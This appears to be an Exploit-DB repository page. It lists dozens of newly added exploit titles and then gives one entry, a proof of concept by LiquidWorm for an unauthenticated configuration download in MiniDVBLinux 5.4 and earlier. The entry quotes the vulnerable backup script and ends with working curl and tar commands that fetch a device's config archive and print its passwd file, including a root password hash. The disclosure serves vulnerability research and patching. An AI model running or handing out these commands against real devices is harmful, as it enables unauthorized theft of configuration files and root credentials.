b137003172
36 changes to exploits/shellcodes/ghdb MiniDVBLinux 5.4 - Change Root Password MiniDVBLinux 5.4 - Remote Root Command Injection MiniDVBLinux 5.4 - Arbitrary File Read MiniDVBLinux 5.4 - Unauthenticated Stream Disclosure MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP - Remote Code Execution (RCE) MiniDVBLinux <=5.4 - Config Download Exploit Desktop Central 9.1.0 - Multiple Vulnerabilities FortiOS_ FortiProxy_ FortiSwitchManager v7.2.1 - Authentication Bypass Aero CMS v0.0.1 - PHP Code Injection (auth) Aero CMS v0.0.1 - SQL Injection (no auth) Atom CMS v2.0 - SQL Injection (no auth) Canteen-Management v1.0 - SQL Injection Canteen-Management v1.0 - XSS-Reflected Clansphere CMS 2011.4 - Stored Cross-Site Scripting (XSS) eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE) FlatCore CMS 2.1.1 - Stored Cross-Site Scripting (XSS) Webgrind 1.1 - Reflected Cross-Site Scripting (XSS) & Remote Command Execution (RCE) WebTareas 2.4 - RCE (Authorized) WebTareas 2.4 - Reflected XSS (Unauthorised) WebTareas 2.4 - SQL Injection (Unauthorised) WPN-XM Serverstack for Windows 0.8.6 - Multiple Vulnerabilities Zentao Project Management System 17.0 - Authenticated Remote Code Execution (RCE) Zoneminder < v1.37.24 - Log Injection & Stored XSS & CSRF Bypass Grafana <=6.2.4 - HTML Injection Hex Workshop v6.7 - Buffer overflow DoS Scdbg 1.0 - Buffer overflow DoS Sysax Multi Server 6.95 - 'Password' Denial of Service (PoC) AVS Audio Converter 10.3 - Stack Overflow (SEH) Explorer32++ v1.3.5.531 - Buffer overflow Frhed (Free hex editor) v1.6.0 - Buffer overflow Gestionale Open 12.00.00 - 'DB_GO_80' Unquoted Service Path Mediconta 3.7.27 - 'servermedicontservice' Unquoted Service Path Resource Hacker v3.6.0.92 - Buffer overflow Tftpd32_SE 4.60 - 'Tftpd32_svc' Unquoted Service Path WiFi Mouse 1.8.3.2 - Remote Code Execution (RCE)
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2.7 KiB
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73 lines
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2.7 KiB
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# Exploit Title: MiniDVBLinux <=5.4 Config Download Exploit
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# Exploit Author: LiquidWorm
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Vendor: MiniDVBLinux
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Product web page: https://www.minidvblinux.de
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Affected version: <=5.4
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Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
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way to convert a standard PC into a Multi Media Centre based on the
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Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
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Linux based Digital Video Recorder: Watch TV, Timer controlled
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recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
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via browser, and a lot more. MLD strives to be as small as possible,
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modular, simple. It supports numerous hardware platforms, like classic
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desktops in 32/64bit and also various low power ARM systems.
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Desc: The application is vulnerable to unauthenticated configuration
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download when direct object reference is made to the backup function
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using an HTTP GET request. This will enable the attacker to disclose
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sensitive information and help her in authentication bypass, privilege
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escalation and full system access.
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====================================================================
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/var/www/tpl/setup/Backup/Edit\ backup/51_download_backup.sh:
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------------------------------------------------------------
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01: <?
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02: if [ "$GET_action" = "getconfig" ]; then
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03: . /etc/rc.config
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04: header "Content-Type: application/x-compressed-tar"
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05: header "Content-Disposition: filename=`date +%Y-%m-%d_%H%M_$HOST_NAME`_config.tgz"
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06: /usr/bin/backup-config.sh export /tmp/backup_config_$$.tgz &>/dev/null
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07: cat /tmp/backup_config_$$.tgz
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08: rm -rf /tmp/backup_config*
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09: exit
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10: fi
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11: ?>
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12: <div class="button"><input type="button" value="$(TEXTDOMAIN="backup-www" gt 'Download')" title="$(TEXTDOMAIN="backup-www" gt 'Download a archive of your config')" onclick="window.open('/tpl/setup/Backup/Edit backup/51_download_backup.sh?action=getconfig'); call('')"/></div>
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====================================================================
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Tested on: MiniDVBLinux 5.4
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BusyBox v1.25.1
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Architecture: armhf, armhf-rpi2
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GNU/Linux 4.19.127.203 (armv7l)
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VideoDiskRecorder 2.4.6
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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@zeroscience
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Advisory ID: ZSL-2022-5713
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Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5713.php
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24.09.2022
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--
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> curl http://ip:8008/tpl/setup/Backup/Edit%20backup/51_download_backup.sh?action=getconfig -o config.tgz
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> mkdir configdir
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> tar -xvzf config.tgz -C .\configdir
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> cd configdir && cd etc
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> type passwd
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root:$1$ToYyWzqq$oTUM6EpspNot2e1eyOudO0:0:0:root:/root:/bin/sh
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daemon:!:1:1::/:
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ftp:!:40:2:FTP account:/:/bin/sh
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user:!:500:500::/home/user:/bin/sh
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nobody:!:65534:65534::/tmp:
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_rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin
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> |